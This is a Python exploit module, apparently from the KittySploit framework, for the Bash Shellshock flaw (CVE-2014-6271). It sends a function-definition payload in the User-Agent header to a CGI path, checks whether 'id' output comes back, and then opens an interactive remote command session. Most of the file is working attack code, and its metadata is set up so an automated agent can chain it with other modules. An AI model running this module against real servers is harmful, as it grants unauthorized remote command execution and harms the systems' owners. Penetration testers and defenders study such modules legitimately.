Bash Shellshock - HTTP CGI RCE (CVE-2014-6271)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Bash Shellshock HTTP CGI RCE (CVE-2014-6271) — opens execute session."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Bash Shellshock - HTTP CGI RCE (CVE-2014-6271)',
        'description': (
            'Exploits Shellshock via User-Agent injection against a CGI path. '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2014-6271', 'CVE-2014-6278'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2014-6271'],
        'tags': ['bash', 'shellshock', 'rce', 'unauth', 'kev', 'cve-2014-6271'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2014_6271_detect'],
            },
        },
    }

    cgi_path = OptString('/cgi-bin/status', 'CGI path vulnerable to Shellshock', required=True)
    header_name = OptString('User-Agent', 'Header used for injection', required=False)

    def execute(self, cmd: str) -> str:
        payload = (
            '() { :;}; echo Content-Type: text/plain; echo; echo; '
            f'PATH=/usr/bin:/usr/local/bin:/bin; export PATH; {cmd};'
        )
        field = str(self.header_name or 'User-Agent')
        path = str(self.cgi_path or '/cgi-bin/status')
        if not path.startswith('/'):
            path = '/' + path
        r = self.http_request(
            method='GET',
            path=path,
            headers={field: payload},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def handler_execute(self):
        out = self.execute('id')
        if not out or not re.search(r'uid=\d+', out):
            print_error('Target does not appear vulnerable to Shellshock on cgi_path')
            return False
        print_success('Shellshock RCE confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()